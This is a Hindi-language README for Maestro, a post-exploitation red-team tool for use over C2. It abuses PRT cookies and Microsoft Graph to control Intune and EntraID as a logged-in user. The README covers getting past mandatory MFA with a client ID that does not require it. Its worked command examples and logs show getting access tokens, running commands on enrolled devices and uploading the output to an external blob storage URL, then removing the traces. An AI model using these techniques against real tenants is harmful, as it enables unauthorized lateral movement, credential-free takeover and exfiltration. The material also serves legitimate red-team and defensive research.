
Abusing Azure services over C2
Maestro एक पोस्ट-एक्सप्लॉइटेशन टूल है जिसे किसी उपयोगकर्ता के वर्कस्टेशन पर C2 एजेंट से Intune/EntraID के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है, बिना उपयोगकर्ता के पासवर्ड या Azure प्रमाणीकरण फ़्लो, टोकन हेरफेर और वेब-आधारित प्रशासन कंसोल की जानकारी की आवश्यकता के। Maestro, C2 से Intune और EntraID (और संभावित रूप से अन्य Azure सेवाओं) के साथ इंटरैक्ट करना बहुत आसान बना देता है, क्योंकि ऑपरेटर को उपयोगकर्ता का क्लियरटेक्स्ट पासवर्ड प्राप्त करने, सिस्टम से प्राथमिक रिफ्रेश टोकन (PRT) कुकीज़ निकालने, SOCKS प्रॉक्सी पर अतिरिक्त टूल या ब्राउज़र सत्र चलाने, या लॉग-इन उपयोगकर्ता की ओर से Azure में कार्रवाई करने के लिए Azure प्रमाणीकरण फ़्लो, टोकन या कंडीशनल एक्सेस नीतियों से निपटने की आवश्यकता नहीं होती।
Maestro अनिवार्य रूप से स्थानीय PRT कुकी अनुरोधों और Microsoft Graph API को कॉल के लिए एक रैपर है, जिसमें रेड टीमर्स के लिए कई क्वालिटी-ऑफ़-लाइफ सुविधाएँ जोड़ी गई हैं। Maestro ऑन-प्रिम और Azure के बीच हमले के रास्ते सक्षम बनाता है। उदाहरण के लिए, किसी Intune एडमिन की मशीन पर Maestro चलाकर, आप किसी भी एनरोल्ड डिवाइस पर PowerShell स्क्रिप्ट निष्पादित कर सकते हैं, बिना एडमिन के क्रेडेंशियल्स जाने, भले ही MFA, डिवाइस अनुपालन और हाइब्रिड-जॉइन किए डिवाइस की आवश्यकता कंडीशनल एक्सेस नीतियों द्वारा क्यों न हो।
Maestro के लेटरल मूवमेंट फ़ंक्शन Death from Above: Lateral Movement from Azure to On-Prem AD से प्रेरित थे, जिसे एंडी रॉबिंस (@_wald0) ने लिखा था।
आप Maestro के लिए इस परिचयात्मक ब्लॉग पोस्ट में अधिक पढ़ सकते हैं: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
इस रिपॉजिटरी में ReleasePlusMSAL बिल्ड कॉन्फ़िगरेशन का उपयोग करके एक संकलित रिलीज़ मौजूद है। ध्यान दें कि यह कॉन्फ़िगरेशन MSAL निर्भरताओं को .exe में मर्ज कर देता है, लेकिन परिणामी बाइनरी के आकार को काफी बढ़ा देता है। यदि आप एक्सेस टोकन अनुरोध करने की -m 2 विधि (MSAL के माध्यम से SharpGetEntraToken) का उपयोग करने की योजना नहीं बना रहे हैं, तो आप Release बिल्ड संकलित कर सकते हैं और आकार काफी कम हो जाएगा।
फरवरी 2025 तक, Microsoft Azure Portal और इसके एक्सटेंशन के प्रमाणीकरण के लिए अनिवार्य MFA प्रवर्तन लागू कर रहा है। ऐसे मामले में, auth कोड फ़्लो का उपयोग करने वाली डिफ़ॉल्ट एक्सेस टोकन अनुरोध विधि संभवतः विफल हो जाएगी, लेकिन SharpGetEntraToken/MSAL (-m 2 विकल्प) का उपयोग करना और Azure Powershell (1950a258-227b-4e31-a9cf-717495945fc2) जैसे क्लाइंट ID निर्दिष्ट करना जिसे MFA की आवश्यकता नहीं है, अभी भी काम करना चाहिए।
Maestro.exe <command> [subcommand] [options]
सभी कमांड और सबकमांड में एक सहायता पृष्ठ होता है जो बाइनरी के आकार को न्यूनतम रखने के लिए एक कस्टम कमांड लाइन पार्सर का उपयोग करके उत्पन्न किया जाता है। किसी भी Maestro कमांड के बाद -h या --help दर्ज करके सहायता पृष्ठों तक पहुँचा जा सकता है।
सबसे नवीनतम उपयोग जानकारी के लिए कृपया प्रत्येक कमांड के --help विकल्प के आउटपुट को देखें।
उदाहरण इस फ़ाइल के नीचे देखे जा सकते हैं।
डीबगिंग के लिए, मैं Visual Studio चलाने वाले अपने होस्ट से सुलभ एक Intune-एनरोल्ड मशीन पर एक निर्देशिका साझा करता हूँ, Visual Studio रिमोट डीबगर निष्पादित करता हूँ, सोल्यूशन फ़ाइलों को शेयर पर कॉपी करने के लिए पोस्ट-बिल्ड जॉब कॉन्फ़िगर करता हूँ, और Visual Studio को एनरोल्ड सिस्टम पर रिमोट डीबग करने के लिए कॉन्फ़िगर करता हूँ।
Maestro पर शोध, विकास और सुधार करने में मैं जितना समय बिता पाता हूँ, वह SpecterOps के इस परियोजना के प्रायोजन के बिना संभव नहीं होता, जो पारदर्शिता और ओपन-सोर्स विकास के लिए उनकी प्रतिबद्धता का हिस्सा है। मैं उनके मार्गदर्शन और समर्थन के लिए अत्यंत आभारी हूँ।
Maestro की कुछ विशेषताएँ दूसरों के काम से प्रेरित थीं या उनके आधार पर बनाई गई थीं, जिनमें शामिल हैं:
यदि आप सहयोग करने में रुचि रखते हैं, तो कृपया मुझसे Twitter (@_Mayyhem) या BloodHoundGang Slack में संपर्क करें!
MSAL और Azure PowerShell क्लाइंट ID का उपयोग करके MS Graph के लिए एक एक्सेस टोकन प्राप्त करें (अभी तक अनिवार्य MFA द्वारा रोका नहीं गया है):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
ID e537180b-6d04-427e-bf93-dbde818400eb वाले Intune डिवाइस पर dsregcmd.exe निष्पादित करें, परिणामों को साझा एक्सेस टोकन के साथ Azure Storage Blob Container SAS URL पर अपलोड करते हुए:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902